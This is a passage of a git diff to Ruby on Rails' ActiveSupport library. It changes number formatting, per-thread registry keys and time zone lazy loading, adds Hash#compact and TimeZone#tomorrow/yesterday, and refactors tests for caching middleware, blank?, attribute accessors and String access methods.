+ (Math.log10(absolute_number(number)) + 1).floor
+ end
+
+ def strip_insignificant_zeros
+ options[:strip_insignificant_zeros]
+ end
+
+ def format_number(number)
+ if strip_insignificant_zeros
+ escaped_separator = Regexp.escape(options[:separator])
+ number.sub(/(#{escaped_separator})(\d*[1-9])?0+\z/, '\1\2').sub(/#{escaped_separator}\z/, '')
+ else
+ number
+ end
+ end
+
+ def absolute_number(number)
+ number.respond_to?(:abs) ? number.abs : number.to_d.abs
+ end
+
+ def zero?
+ number.respond_to?(:zero?) ? number.zero? : number.to_d.zero?
+ end
+ end
+ end
+end
diff --git a/activesupport/lib/active_support/per_thread_registry.rb b/activesupport/lib/active_support/per_thread_registry.rb
index a5e7389d16..ca2e4d5625 100644
--- a/activesupport/lib/active_support/per_thread_registry.rb
+++ b/activesupport/lib/active_support/per_thread_registry.rb
@@ -32,12 +32,15 @@ module ActiveSupport
#
# If the class has an initializer, it must accept no arguments.
module PerThreadRegistry
+ def self.extended(object)
+ object.instance_variable_set '@per_thread_registry_key', object.name.freeze
+ end
+
def instance
- Thread.current[name] ||= new
+ Thread.current[@per_thread_registry_key] ||= new
end
protected
-
def method_missing(name, *args, &block) # :nodoc:
# Caches the method definition as a singleton method of the receiver.
define_singleton_method(name) do |*a, &b|
diff --git a/activesupport/lib/active_support/tagged_logging.rb b/activesupport/lib/active_support/tagged_logging.rb
index 18bc919734..d5c2222d2e 100644
--- a/activesupport/lib/active_support/tagged_logging.rb
+++ b/activesupport/lib/active_support/tagged_logging.rb
@@ -1,3 +1,4 @@
+require 'active_support/core_ext/module/delegation'
require 'active_support/core_ext/object/blank'
require 'logger'
require 'active_support/logger'
diff --git a/activesupport/lib/active_support/testing/deprecation.rb b/activesupport/lib/active_support/testing/deprecation.rb
index a8342904dc..6c94c611b6 100644
--- a/activesupport/lib/active_support/testing/deprecation.rb
+++ b/activesupport/lib/active_support/testing/deprecation.rb
@@ -19,18 +19,17 @@ module ActiveSupport
result
end
- private
- def collect_deprecations
- old_behavior = ActiveSupport::Deprecation.behavior
- deprecations = []
- ActiveSupport::Deprecation.behavior = Proc.new do |message, callstack|
- deprecations << message
- end
- result = yield
- [result, deprecations]
- ensure
- ActiveSupport::Deprecation.behavior = old_behavior
+ def collect_deprecations
+ old_behavior = ActiveSupport::Deprecation.behavior
+ deprecations = []
+ ActiveSupport::Deprecation.behavior = Proc.new do |message, callstack|
+ deprecations << message
end
+ result = yield
+ [result, deprecations]
+ ensure
+ ActiveSupport::Deprecation.behavior = old_behavior
+ end
end
end
end
diff --git a/activesupport/lib/active_support/testing/isolation.rb b/activesupport/lib/active_support/testing/isolation.rb
index d5d31cecbe..75ead48376 100644
--- a/activesupport/lib/active_support/testing/isolation.rb
+++ b/activesupport/lib/active_support/testing/isolation.rb
@@ -1,5 +1,4 @@
require 'rbconfig'
-require 'minitest/parallel_each'
module ActiveSupport
module Testing
@@ -7,11 +6,9 @@ module ActiveSupport
require 'thread'
def self.included(klass) #:nodoc:
- klass.extend(Module.new {
- def test_methods
- ParallelEach.new super
- end
- })
+ klass.class_eval do
+ parallelize_me!
+ end
end
def self.forking_env?
diff --git a/activesupport/lib/active_support/values/time_zone.rb b/activesupport/lib/active_support/values/time_zone.rb
index 3cf82a24b9..beaac42fa1 100644
--- a/activesupport/lib/active_support/values/time_zone.rb
+++ b/activesupport/lib/active_support/values/time_zone.rb
@@ -1,3 +1,5 @@
+require 'tzinfo'
+require 'thread_safe'
require 'active_support/core_ext/object/blank'
require 'active_support/core_ext/object/try'
@@ -184,6 +186,8 @@ module ActiveSupport
UTC_OFFSET_WITH_COLON = '%s%02d:%02d'
UTC_OFFSET_WITHOUT_COLON = UTC_OFFSET_WITH_COLON.sub(':', '')
+ @lazy_zones_map = ThreadSafe::Cache.new
+
# Assumes self represents an offset from UTC in seconds (as returned from
# Time#utc_offset) and turns this into an +HH:MM formatted string.
#
@@ -205,8 +209,6 @@ module ActiveSupport
# (GMT). Seconds were chosen as the offset unit because that is the unit
# that Ruby uses to represent time zone offsets (see Time#utc_offset).
def initialize(name, utc_offset = nil, tzinfo = nil)
- self.class.send(:require_tzinfo)
-
@name = name
@utc_offset = utc_offset
@tzinfo = tzinfo || TimeZone.find_tzinfo(name)
@@ -232,6 +234,7 @@ module ActiveSupport
# Compare this time zone to the parameter. The two are compared first on
# their offsets, and then by name.
def <=>(zone)
+ return unless zone.respond_to? :utc_offset
result = (utc_offset <=> zone.utc_offset)
result = (name <=> zone.name) if result == 0
result
@@ -314,6 +317,16 @@ module ActiveSupport
tzinfo.now.to_date
end
+ # Returns the next date in this time zone.
+ def tomorrow
+ today + 1
+ end
+
+ # Returns the previous date in this time zone.
+ def yesterday
+ today - 1
+ end
+
# Adjust the given time to the simultaneous time in the time zone
# represented by +self+. Returns a Time.utc() instance -- if you want an
# ActiveSupport::TimeWithZone instance, use Time#in_time_zone() instead.
@@ -346,14 +359,14 @@ module ActiveSupport
class << self
alias_method :create, :new
- # Return a TimeZone instance with the given name, or +nil+ if no
+ # Returns a TimeZone instance with the given name, or +nil+ if no
# such TimeZone instance exists. (This exists to support the use of
# this class with the +composed_of+ macro.)
def new(name)
self[name]
end
- # Return an array of all TimeZone objects. There are multiple
+ # Returns an array of all TimeZone objects. There are multiple
# TimeZone objects per time zone, in many cases, to make it easier
# for users to find their own time zone.
def all
@@ -362,10 +375,8 @@ module ActiveSupport
def zones_map
@zones_map ||= begin
- new_zones_names = MAPPING.keys - lazy_zones_map.keys
- new_zones = Hash[new_zones_names.map { |place| [place, create(place)] }]
-
- lazy_zones_map.merge(new_zones)
+ MAPPING.each_key {|place| self[place]} # load all the zones
+ @lazy_zones_map
end
end
@@ -378,7 +389,7 @@ module ActiveSupport
case arg
when String
begin
- lazy_zones_map[arg] ||= lookup(arg).tap { |tz| tz.utc_offset }
+ @lazy_zones_map[arg] ||= create(arg).tap { |tz| tz.utc_offset }
rescue TZInfo::InvalidTimezoneIdentifier
nil
end
@@ -395,29 +406,6 @@ module ActiveSupport
def us_zones
@us_zones ||= all.find_all { |z| z.name =~ /US|Arizona|Indiana|Hawaii|Alaska/ }
end
-
- protected
-
- def require_tzinfo
- require 'tzinfo' unless defined?(::TZInfo)
- rescue LoadError
- $stderr.puts "You don't have tzinfo installed in your application. Please add it to your Gemfile and run bundle install"
- raise
- end
-
- private
-
- def lookup(name)
- (tzinfo = find_tzinfo(name)) && create(tzinfo.name.freeze)
- end
-
- def lazy_zones_map
- require_tzinfo
-
- @lazy_zones_map ||= Hash.new do |hash, place|
- hash[place] = create(place) if MAPPING.has_key?(place)
- end
- end
end
private
diff --git a/activesupport/lib/active_support/values/unicode_tables.dat b/activesupport/lib/active_support/values/unicode_tables.dat
index 2571faa019..394ee95f4b 100644
--- a/activesupport/lib/active_support/values/unicode_tables.dat
+++ b/activesupport/lib/active_support/values/unicode_tables.dat
Binary files differ
diff --git a/activesupport/lib/active_support/version.rb b/activesupport/lib/active_support/version.rb
index 8762330a6e..b3f0e7198d 100644
--- a/activesupport/lib/active_support/version.rb
+++ b/activesupport/lib/active_support/version.rb
@@ -1,7 +1,7 @@
module ActiveSupport
# Returns the version of the currently loaded ActiveSupport as a Gem::Version
def self.version
- Gem::Version.new "4.1.0.beta"
+ Gem::Version.new "4.1.0.beta1"
end
module VERSION #:nodoc:
diff --git a/activesupport/test/abstract_unit.rb b/activesupport/test/abstract_unit.rb
index 65de48a7f6..1dfa3833f0 100644
--- a/activesupport/test/abstract_unit.rb
+++ b/activesupport/test/abstract_unit.rb
@@ -15,7 +15,6 @@ silence_warnings do
end
require 'active_support/testing/autorun'
-require 'empty_bool'
ENV['NO_RELOAD'] = '1'
require 'active_support'
@@ -25,6 +24,9 @@ Thread.abort_on_exception = true
# Show backtraces for deprecated behavior for quicker cleanup.
ActiveSupport::Deprecation.debug = true
+# Disable available locale checks to avoid warnings running the test suite.
+I18n.enforce_available_locales = false
+
# Skips the current run on Rubinius using Minitest::Assertions#skip
def rubinius_skip(message = '')
skip message if RUBY_ENGINE == 'rbx'
diff --git a/activesupport/test/caching_test.rb b/activesupport/test/caching_test.rb
index 51007402a1..c3c65cf805 100644
--- a/activesupport/test/caching_test.rb
+++ b/activesupport/test/caching_test.rb
@@ -3,6 +3,42 @@ require 'abstract_unit'
require 'active_support/cache'
require 'dependencies_test_helpers'
+module ActiveSupport
+ module Cache
+ module Strategy
+ module LocalCache
+ class MiddlewareTest < ActiveSupport::TestCase
+ def test_local_cache_cleared_on_close
+ key = "super awesome key"
+ assert_nil LocalCacheRegistry.cache_for key
+ middleware = Middleware.new('<3', key).new(->(env) {
+ assert LocalCacheRegistry.cache_for(key), 'should have a cache'
+ [200, {}, []]
+ })
+ _, _, body = middleware.call({})
+ assert LocalCacheRegistry.cache_for(key), 'should still have a cache'
+ body.each { }
+ assert LocalCacheRegistry.cache_for(key), 'should still have a cache'
+ body.close
+ assert_nil LocalCacheRegistry.cache_for(key)
+ end
+
+ def test_local_cache_cleared_on_exception
+ key = "super awesome key"
+ assert_nil LocalCacheRegistry.cache_for key
+ middleware = Middleware.new('<3', key).new(->(env) {
+ assert LocalCacheRegistry.cache_for(key), 'should have a cache'
+ raise
+ })
+ assert_raises(RuntimeError) { middleware.call({}) }
+ assert_nil LocalCacheRegistry.cache_for(key)
+ end
+ end
+ end
+ end
+ end
+end
+
class CacheKeyTest < ActiveSupport::TestCase
def test_entry_legacy_optional_ivars
legacy = Class.new(ActiveSupport::Cache::Entry) do
@@ -110,12 +146,12 @@ class CacheStoreSettingTest < ActiveSupport::TestCase
assert_kind_of(ActiveSupport::Cache::MemCacheStore, store)
end
- def test_mem_cache_fragment_cache_store_with_given_mem_cache_like_object
+ def test_mem_cache_fragment_cache_store_with_not_dalli_client
Dalli::Client.expects(:new).never
memcache = Object.new
- def memcache.get() true end
- store = ActiveSupport::Cache.lookup_store :mem_cache_store, memcache
- assert_kind_of(ActiveSupport::Cache::MemCacheStore, store)
+ assert_raises(ArgumentError) do
+ ActiveSupport::Cache.lookup_store :mem_cache_store, memcache
+ end
end
def test_mem_cache_fragment_cache_store_with_multiple_servers
@@ -577,6 +613,7 @@ module LocalCacheBehavior
result = @cache.write('foo', 'bar')
assert_equal 'bar', @cache.read('foo') # make sure 'foo' was written
assert result
+ [200, {}, []]
}
app = @cache.middleware.new(app)
app.call({})
diff --git a/activesupport/test/callbacks_test.rb b/activesupport/test/callbacks_test.rb
index f8e2ce22fa..32c2dfdfc0 100644
--- a/activesupport/test/callbacks_test.rb
+++ b/activesupport/test/callbacks_test.rb
@@ -1,27 +1,6 @@
require 'abstract_unit'
module CallbacksTest
- class Phone
- include ActiveSupport::Callbacks
- define_callbacks :save
-
- set_callback :save, :before, :before_save1
- set_callback :save, :after, :after_save1
-
- def before_save1; self.history << :before; end
- def after_save1; self.history << :after; end
-
- def save
- run_callbacks :save do
- raise 'boom'
- end
- end
-
- def history
- @history ||= []
- end
- end
-
class Record
include ActiveSupport::Callbacks
diff --git a/activesupport/test/configurable_test.rb b/activesupport/test/configurable_test.rb
index d00273a028..ef847fc557 100644
--- a/activesupport/test/configurable_test.rb
+++ b/activesupport/test/configurable_test.rb
@@ -95,6 +95,20 @@ class ConfigurableActiveSupport < ActiveSupport::TestCase
config_accessor "invalid attribute name"
end
end
+
+ assert_raises NameError do
+ Class.new do
+ include ActiveSupport::Configurable
+ config_accessor "invalid\nattribute"
+ end
+ end
+
+ assert_raises NameError do
+ Class.new do
+ include ActiveSupport::Configurable
+ config_accessor "invalid\n"
+ end
+ end
end
def assert_method_defined(object, method)
diff --git a/activesupport/test/core_ext/blank_test.rb b/activesupport/test/core_ext/blank_test.rb
index a68c074777..246bc7fa61 100644
--- a/activesupport/test/core_ext/blank_test.rb
+++ b/activesupport/test/core_ext/blank_test.rb
@@ -4,17 +4,29 @@ require 'abstract_unit'
require 'active_support/core_ext/object/blank'
class BlankTest < ActiveSupport::TestCase
- BLANK = [ EmptyTrue.new, nil, false, '', ' ', " \n\t \r ", ' ', [], {} ]
+ class EmptyTrue
+ def empty?
+ 0
+ end
+ end
+
+ class EmptyFalse
+ def empty?
+ nil
+ end
+ end
+
+ BLANK = [ EmptyTrue.new, nil, false, '', ' ', " \n\t \r ", ' ', "\u00a0", [], {} ]
NOT = [ EmptyFalse.new, Object.new, true, 0, 1, 'a', [nil], { nil => 0 } ]
def test_blank
- BLANK.each { |v| assert v.blank?, "#{v.inspect} should be blank" }
- NOT.each { |v| assert !v.blank?, "#{v.inspect} should not be blank" }
+ BLANK.each { |v| assert_equal true, v.blank?, "#{v.inspect} should be blank" }
+ NOT.each { |v| assert_equal false, v.blank?, "#{v.inspect} should not be blank" }
end
def test_present
- BLANK.each { |v| assert !v.present?, "#{v.inspect} should not be present" }
- NOT.each { |v| assert v.present?, "#{v.inspect} should be present" }
+ BLANK.each { |v| assert_equal false, v.present?, "#{v.inspect} should not be present" }
+ NOT.each { |v| assert_equal true, v.present?, "#{v.inspect} should be present" }
end
def test_presence
diff --git a/activesupport/test/core_ext/class/attribute_accessor_test.rb b/activesupport/test/core_ext/class/attribute_accessor_test.rb
deleted file mode 100644
index 3bc948f3a6..0000000000
--- a/activesupport/test/core_ext/class/attribute_accessor_test.rb
+++ /dev/null
@@ -1,70 +0,0 @@
-require 'abstract_unit'
-require 'active_support/core_ext/class/attribute_accessors'
-
-class ClassAttributeAccessorTest < ActiveSupport::TestCase
- def setup
- @class = Class.new do
- cattr_accessor :foo
- cattr_accessor :bar, :instance_writer => false
- cattr_reader :shaq, :instance_reader => false
- cattr_accessor :camp, :instance_accessor => false
- cattr_accessor(:defa) { 'default_accessor_value' }
- cattr_reader(:defr) { 'default_reader_value' }
- cattr_writer(:defw) { 'default_writer_value' }
- end
- @object = @class.new
- end
-
- def test_should_use_mattr_default
- assert_nil @class.foo
- assert_nil @object.foo
- end
-
- def test_should_set_mattr_value
- @class.foo = :test
- assert_equal :test, @object.foo
-
- @object.foo = :test2
- assert_equal :test2, @class.foo
- end
-
- def test_should_not_create_instance_writer
- assert_respond_to @class, :foo
- assert_respond_to @class, :foo=
- assert_respond_to @object, :bar
- assert !@object.respond_to?(:bar=)
- end
-
- def test_should_not_create_instance_reader
- assert_respond_to @class, :shaq
- assert !@object.respond_to?(:shaq)
- end
-
- def test_should_not_create_instance_accessors
- assert_respond_to @class, :camp
- assert !@object.respond_to?(:camp)
- assert !@object.respond_to?(:camp=)
- end
-
- def test_should_raise_name_error_if_attribute_name_is_invalid
- exception = assert_raises NameError do
- Class.new do
- cattr_reader "1nvalid"
- end
- end
- assert_equal "invalid class attribute name: 1nvalid", exception.message
-
- exception = assert_raises NameError do
- Class.new do
- cattr_writer "1nvalid"
- end
- end
- assert_equal "invalid class attribute name: 1nvalid", exception.message
- end
-
- def test_should_use_default_value_if_block_passed
- assert_equal 'default_accessor_value', @class.defa
- assert_equal 'default_reader_value', @class.defr
- assert_equal 'default_writer_value', @class.class_variable_get('@@defw')
- end
-end
diff --git a/activesupport/test/core_ext/class/delegating_attributes_test.rb b/activesupport/test/core_ext/class/delegating_attributes_test.rb
index 148f82946c..0e0742d147 100644
--- a/activesupport/test/core_ext/class/delegating_attributes_test.rb
+++ b/activesupport/test/core_ext/class/delegating_attributes_test.rb
@@ -39,10 +39,13 @@ class DelegatingAttributesTest < ActiveSupport::TestCase
end
def test_simple_accessor_declaration_with_instance_reader_false
+ _instance_methods = single_class.public_instance_methods
single_class.superclass_delegating_accessor :no_instance_reader, :instance_reader => false
assert_respond_to single_class, :no_instance_reader
assert_respond_to single_class, :no_instance_reader=
- assert !single_class.public_instance_methods.map(&:to_s).include?("no_instance_reader")
+ assert !_instance_methods.include?(:no_instance_reader)
+ assert !_instance_methods.include?(:no_instance_reader?)
+ assert !_instance_methods.include?(:_no_instance_reader)
end
def test_working_with_simple_attributes
diff --git a/activesupport/test/core_ext/date_ext_test.rb b/activesupport/test/core_ext/date_ext_test.rb
index eab3aa7a6e..5d0af035cc 100644
--- a/activesupport/test/core_ext/date_ext_test.rb
+++ b/activesupport/test/core_ext/date_ext_test.rb
@@ -276,6 +276,23 @@ class DateExtCalculationsTest < ActiveSupport::TestCase
end
end
+ def test_all_week
+ assert_equal Date.new(2011,6,6)..Date.new(2011,6,12), Date.new(2011,6,7).all_week
+ assert_equal Date.new(2011,6,5)..Date.new(2011,6,11), Date.new(2011,6,7).all_week(:sunday)
+ end
+
+ def test_all_month
+ assert_equal Date.new(2011,6,1)..Date.new(2011,6,30), Date.new(2011,6,7).all_month
+ end
+
+ def test_all_quarter
+ assert_equal Date.new(2011,4,1)..Date.new(2011,6,30), Date.new(2011,6,7).all_quarter
+ end
+
+ def test_all_year
+ assert_equal Date.new(2011,1,1)..Date.new(2011,12,31), Date.new(2011,6,7).all_year
+ end
+
def test_xmlschema
with_env_tz 'US/Eastern' do
assert_match(/^1980-02-28T00:00:00-05:?00$/, Date.new(1980, 2, 28).xmlschema)
diff --git a/activesupport/test/core_ext/duration_test.rb b/activesupport/test/core_ext/duration_test.rb
index 8eae8c832c..28ba33331e 100644
--- a/activesupport/test/core_ext/duration_test.rb
+++ b/activesupport/test/core_ext/duration_test.rb
@@ -53,12 +53,10 @@ class DurationTest < ActiveSupport::TestCase
end
def test_argument_error
- 1.second.ago('')
- flunk("no exception was raised")
- rescue ArgumentError => e
+ e = assert_raise ArgumentError do
+ 1.second.ago('')
+ end
assert_equal 'expected a time or date, got ""', e.message, "ensure ArgumentError is not being raised by dependencies.rb"
- rescue Exception => e
- flunk("ArgumentError should be raised, but we got #{e.class} instead")
end
def test_fractional_weeks
diff --git a/activesupport/test/core_ext/hash_ext_test.rb b/activesupport/test/core_ext/hash_ext_test.rb
index b059bc3e89..40c8f03374 100644
--- a/activesupport/test/core_ext/hash_ext_test.rb
+++ b/activesupport/test/core_ext/hash_ext_test.rb
@@ -54,6 +54,8 @@ class HashExtTest < ActiveSupport::TestCase
assert_respond_to h, :deep_stringify_keys!
assert_respond_to h, :to_options
assert_respond_to h, :to_options!
+ assert_respond_to h, :compact
+ assert_respond_to h, :compact!
end
def test_transform_keys
@@ -624,10 +626,15 @@ class HashExtTest < ActiveSupport::TestCase
{ :failure => "stuff", :funny => "business" }.assert_valid_keys(:failure, :funny)
end
- assert_raise(ArgumentError, "Unknown key: failore") do
+ exception = assert_raise ArgumentError do
{ :failore => "stuff", :funny => "business" }.assert_valid_keys([ :failure, :funny ])
+ end
+ assert_equal "Unknown key: :failore. Valid keys are: :failure, :funny", exception.message
+
+ exception = assert_raise ArgumentError do
{ :failore => "stuff", :funny => "business" }.assert_valid_keys(:failure, :funny)
end
+ assert_equal "Unknown key: :failore. Valid keys are: :failure, :funny", exception.message
end
def test_assorted_keys_not_stringified
@@ -860,6 +867,32 @@ class HashExtTest < ActiveSupport::TestCase
original.expects(:delete).never
original.except(:a)
end
+
+ def test_compact
+ hash_contain_nil_value = @symbols.merge(z: nil)
+ hash_with_only_nil_values = { a: nil, b: nil }
+
+ h = hash_contain_nil_value.dup
+ assert_equal(@symbols, h.compact)
+ assert_equal(hash_contain_nil_value, h)
+
+ h = hash_with_only_nil_values.dup
+ assert_equal({}, h.compact)
+ assert_equal(hash_with_only_nil_values, h)
+ end
+
+ def test_compact!
+ hash_contain_nil_value = @symbols.merge(z: nil)
+ hash_with_only_nil_values = { a: nil, b: nil }
+
+ h = hash_contain_nil_value.dup
+ assert_equal(@symbols, h.compact!)
+ assert_equal(@symbols, h)
+
+ h = hash_with_only_nil_values.dup
+ assert_equal({}, h.compact!)
+ assert_equal({}, h)
+ end
end
class IWriteMyOwnXML
diff --git a/activesupport/test/core_ext/kernel_test.rb b/activesupport/test/core_ext/kernel_test.rb
index b8951de402..18b251173f 100644
--- a/activesupport/test/core_ext/kernel_test.rb
+++ b/activesupport/test/core_ext/kernel_test.rb
@@ -38,6 +38,22 @@ class KernelTest < ActiveSupport::TestCase
# Skip if we can't STDERR.tell
end
+ def test_silence_stream
+ old_stream_position = STDOUT.tell
+ silence_stream(STDOUT) { STDOUT.puts 'hello world' }
+ assert_equal old_stream_position, STDOUT.tell
+ rescue Errno::ESPIPE
+ # Skip if we can't stream.tell
+ end
+
+ def test_silence_stream_closes_file_descriptors
+ stream = StringIO.new
+ dup_stream = StringIO.new
+ stream.stubs(:dup).returns(dup_stream)
+ dup_stream.expects(:close)
+ silence_stream(stream) { stream.puts 'hello world' }
+ end
+
def test_quietly
old_stdout_position, old_stderr_position = STDOUT.tell, STDERR.tell
quietly do
diff --git a/activesupport/test/core_ext/module/attribute_accessor_test.rb b/activesupport/test/core_ext/module/attribute_accessor_test.rb
index a577f90bdd..48f3cc579f 100644
--- a/activesupport/test/core_ext/module/attribute_accessor_test.rb
+++ b/activesupport/test/core_ext/module/attribute_accessor_test.rb
@@ -8,6 +8,11 @@ class ModuleAttributeAccessorTest < ActiveSupport::TestCase
mattr_accessor :bar, :instance_writer => false
mattr_reader :shaq, :instance_reader => false
mattr_accessor :camp, :instance_accessor => false
+
+ cattr_accessor(:defa) { 'default_accessor_value' }
+ cattr_reader(:defr) { 'default_reader_value' }
+ cattr_writer(:defw) { 'default_writer_value' }
+ cattr_accessor(:quux) { :quux }
end
@class = Class.new
@class.instance_eval { include m }
@@ -27,6 +32,11 @@ class ModuleAttributeAccessorTest < ActiveSupport::TestCase
assert_equal :test2, @module.foo
end
+ def test_cattr_accessor_default_value
+ assert_equal :quux, @module.quux
+ assert_equal :quux, @object.quux
+ end
+
def test_should_not_create_instance_writer
assert_respond_to @module, :foo
assert_respond_to @module, :foo=
@@ -46,16 +56,24 @@ class ModuleAttributeAccessorTest < ActiveSupport::TestCase
end
def test_should_raise_name_error_if_attribute_name_is_invalid
- assert_raises NameError do
+ exception = assert_raises NameError do
Class.new do
- mattr_reader "invalid attribute name"
+ cattr_reader "1nvalid"
end
end
+ assert_equal "invalid attribute name: 1nvalid", exception.message
- assert_raises NameError do
+ exception = assert_raises NameError do
Class.new do
- mattr_writer "invalid attribute name"
+ cattr_writer "1nvalid"
end
end
+ assert_equal "invalid attribute name: 1nvalid", exception.message
+ end
+
+ def test_should_use_default_value_if_block_passed
+ assert_equal 'default_accessor_value', @module.defa
+ assert_equal 'default_reader_value', @module.defr
+ assert_equal 'default_writer_value', @module.class_variable_get('@@defw')
end
end
diff --git a/activesupport/test/core_ext/module/concerning_test.rb b/activesupport/test/core_ext/module/concerning_test.rb
new file mode 100644
index 0000000000..c6863b24a4
--- /dev/null
+++ b/activesupport/test/core_ext/module/concerning_test.rb
@@ -0,0 +1,35 @@
+require 'abstract_unit'
+require 'active_support/core_ext/module/concerning'
+
+class ConcerningTest < ActiveSupport::TestCase
+ def test_concern_shortcut_creates_a_module_but_doesnt_include_it
+ mod = Module.new { concern(:Foo) { } }
+ assert_kind_of Module, mod::Foo
+ assert mod::Foo.respond_to?(:included)
+ assert !mod.ancestors.include?(mod::Foo), mod.ancestors.inspect
+ end
+
+ def test_concern_creates_a_module_extended_with_active_support_concern
+ klass = Class.new do
+ concern :Foo do
+ included { @foo = 1 }
+ def should_be_public; end
+ end
+ end
+
+ # Declares a concern but doesn't include it
+ assert_kind_of Module, klass::Foo
+ assert !klass.ancestors.include?(klass::Foo), klass.ancestors.inspect
+
+ # Public method visibility by default
+ assert klass::Foo.public_instance_methods.map(&:to_s).include?('should_be_public')
+
+ # Calls included hook
+ assert_equal 1, Class.new { include klass::Foo }.instance_variable_get('@foo')
+ end
+
+ def test_concerning_declares_a_concern_and_includes_it_immediately
+ klass = Class.new { concerning(:Foo) { } }
+ assert klass.ancestors.include?(klass::Foo), klass.ancestors.inspect
+ end
+end
diff --git a/activesupport/test/core_ext/module_test.rb b/activesupport/test/core_ext/module_test.rb
index 283b13ff8b..5b99fae411 100644
--- a/activesupport/test/core_ext/module_test.rb
+++ b/activesupport/test/core_ext/module_test.rb
@@ -12,12 +12,6 @@ class Ab
Constant3 = "Goodbye World"
end
-module Xy
- class Bc
- include One
- end
-end
-
module Yz
module Zy
class Cd
diff --git a/activesupport/test/core_ext/name_error_test.rb b/activesupport/test/core_ext/name_error_test.rb
index 03ce09f22a..7525f80cf0 100644
--- a/activesupport/test/core_ext/name_error_test.rb
+++ b/activesupport/test/core_ext/name_error_test.rb
@@ -3,18 +3,18 @@ require 'active_support/core_ext/name_error'
class NameErrorTest < ActiveSupport::TestCase
def test_name_error_should_set_missing_name
- SomeNameThatNobodyWillUse____Really ? 1 : 0
- flunk "?!?!"
- rescue NameError => exc
+ exc = assert_raise NameError do
+ SomeNameThatNobodyWillUse____Really ? 1 : 0
+ end
assert_equal "NameErrorTest::SomeNameThatNobodyWillUse____Really", exc.missing_name
assert exc.missing_name?(:SomeNameThatNobodyWillUse____Really)
assert exc.missing_name?("NameErrorTest::SomeNameThatNobodyWillUse____Really")
end
def test_missing_method_should_ignore_missing_name
- some_method_that_does_not_exist
- flunk "?!?!"
- rescue NameError => exc
+ exc = assert_raise NameError do
+ some_method_that_does_not_exist
+ end
assert !exc.missing_name?(:Foo)
assert_nil exc.missing_name
end
diff --git a/activesupport/test/core_ext/object_and_class_ext_test.rb b/activesupport/test/core_ext/object_and_class_ext_test.rb
index 8d748791e3..0f454fdd95 100644
--- a/activesupport/test/core_ext/object_and_class_ext_test.rb
+++ b/activesupport/test/core_ext/object_and_class_ext_test.rb
@@ -3,31 +3,6 @@ require 'active_support/time'
require 'active_support/core_ext/object'
require 'active_support/core_ext/class/subclasses'
-class ClassA; end
-class ClassB < ClassA; end
-class ClassC < ClassB; end
-class ClassD < ClassA; end
-
-class ClassI; end
-class ClassJ < ClassI; end
-
-class ClassK
-end
-module Nested
- class << self
- def on_const_missing(&callback)
- @on_const_missing = callback
- end
- private
- def const_missing(mod_id)
- @on_const_missing[mod_id] if @on_const_missing
- super
- end
- end
- class ClassL < ClassK
- end
-end
-
class ObjectTests < ActiveSupport::TestCase
class DuckTime
def acts_like_time?
diff --git a/activesupport/test/core_ext/string_ext_test.rb b/activesupport/test/core_ext/string_ext_test.rb
index 20e3d4802e..d4f8ba8cdd 100644
--- a/activesupport/test/core_ext/string_ext_test.rb
+++ b/activesupport/test/core_ext/string_ext_test.rb
@@ -166,56 +166,6 @@ class StringInflectionsTest < ActiveSupport::TestCase
assert_equal 97, 'abc'.ord
end
- def test_access
- s = "hello"
- assert_equal "h", s.at(0)
-
- assert_equal "llo", s.from(2)
- assert_equal "hel", s.to(2)
-
- assert_equal "h", s.first
- assert_equal "he", s.first(2)
- assert_equal "", s.first(0)
-
- assert_equal "o", s.last
- assert_equal "llo", s.last(3)
- assert_equal "hello", s.last(10)
- assert_equal "", s.last(0)
-
- assert_equal 'x', 'x'.first
- assert_equal 'x', 'x'.first(4)
-
- assert_equal 'x', 'x'.last
- assert_equal 'x', 'x'.last(4)
- end
-
- def test_access_returns_a_real_string
- hash = {}
- hash["h"] = true
- hash["hello123".at(0)] = true
- assert_equal %w(h), hash.keys
-
- hash = {}
- hash["llo"] = true
- hash["hello".from(2)] = true
- assert_equal %w(llo), hash.keys
-
- hash = {}
- hash["hel"] = true
- hash["hello".to(2)] = true
- assert_equal %w(hel), hash.keys
-
- hash = {}
- hash["hello"] = true
- hash["123hello".last(5)] = true
- assert_equal %w(hello), hash.keys
-
- hash = {}
- hash["hello"] = true
- hash["hello123".first(5)] = true
- assert_equal %w(hello), hash.keys
- end
-
def test_starts_ends_with_alias
s = "hello"
assert s.starts_with?('h')
@@ -295,6 +245,93 @@ class StringInflectionsTest < ActiveSupport::TestCase
end
end
+class StringAccessTest < ActiveSupport::TestCase
+ test "#at with Fixnum, returns a substring of one character at that position" do
+ assert_equal "h", "hello".at(0)
+ end
+
+ test "#at with Range, returns a substring containing characters at offsets" do
+ assert_equal "lo", "hello".at(-2..-1)
+ end
+
+ test "#at with Regex, returns the matching portion of the string" do
+ assert_equal "lo", "hello".at(/lo/)
+ assert_equal nil, "hello".at(/nonexisting/)
+ end
+
+ test "#from with positive Fixnum, returns substring from the given position to the end" do
+ assert_equal "llo", "hello".from(2)
+ end
+
+ test "#from with negative Fixnum, position is counted from the end" do
+ assert_equal "lo", "hello".from(-2)
+ end
+
+ test "#to with positive Fixnum, substring from the beginning to the given position" do
+ assert_equal "hel", "hello".to(2)
+ end
+
+ test "#to with negative Fixnum, position is counted from the end" do
+ assert_equal "hell", "hello".to(-2)
+ end
+
+ test "#from and #to can be combined" do
+ assert_equal "hello", "hello".from(0).to(-1)
+ assert_equal "ell", "hello".from(1).to(-2)
+ end
+
+ test "#first returns the first character" do
+ assert_equal "h", "hello".first
+ assert_equal 'x', 'x'.first
+ end
+
+ test "#first with Fixnum, returns a substring from the beginning to position" do
+ assert_equal "he", "hello".first(2)
+ assert_equal "", "hello".first(0)
+ assert_equal "hello", "hello".first(10)
+ assert_equal 'x', 'x'.first(4)
+ end
+
+ test "#last returns the last character" do
+ assert_equal "o", "hello".last
+ assert_equal 'x', 'x'.last
+ end
+
+ test "#last with Fixnum, returns a substring from the end to position" do
+ assert_equal "llo", "hello".last(3)
+ assert_equal "hello", "hello".last(10)
+ assert_equal "", "hello".last(0)
+ assert_equal 'x', 'x'.last(4)
+ end
+
+ test "access returns a real string" do
+ hash = {}
+ hash["h"] = true
+ hash["hello123".at(0)] = true
+ assert_equal %w(h), hash.keys
+
+ hash = {}
+ hash["llo"] = true
+ hash["hello".from(2)] = true
+ assert_equal %w(llo), hash.keys
+
+ hash = {}
+ hash["hel"] = true
+ hash["hello".to(2)] = true
+ assert_equal %w(hel), hash.keys
+
+ hash = {}
+ hash["hello"] = true
+ hash["123hello".last(5)] = true
+ assert_equal %w(hello), hash.keys
+
+ hash = {}
+ hash["hello"] = true
+ hash["hello123".first(5)] = true
+ assert_equal %w(hello), hash.keys
+ end
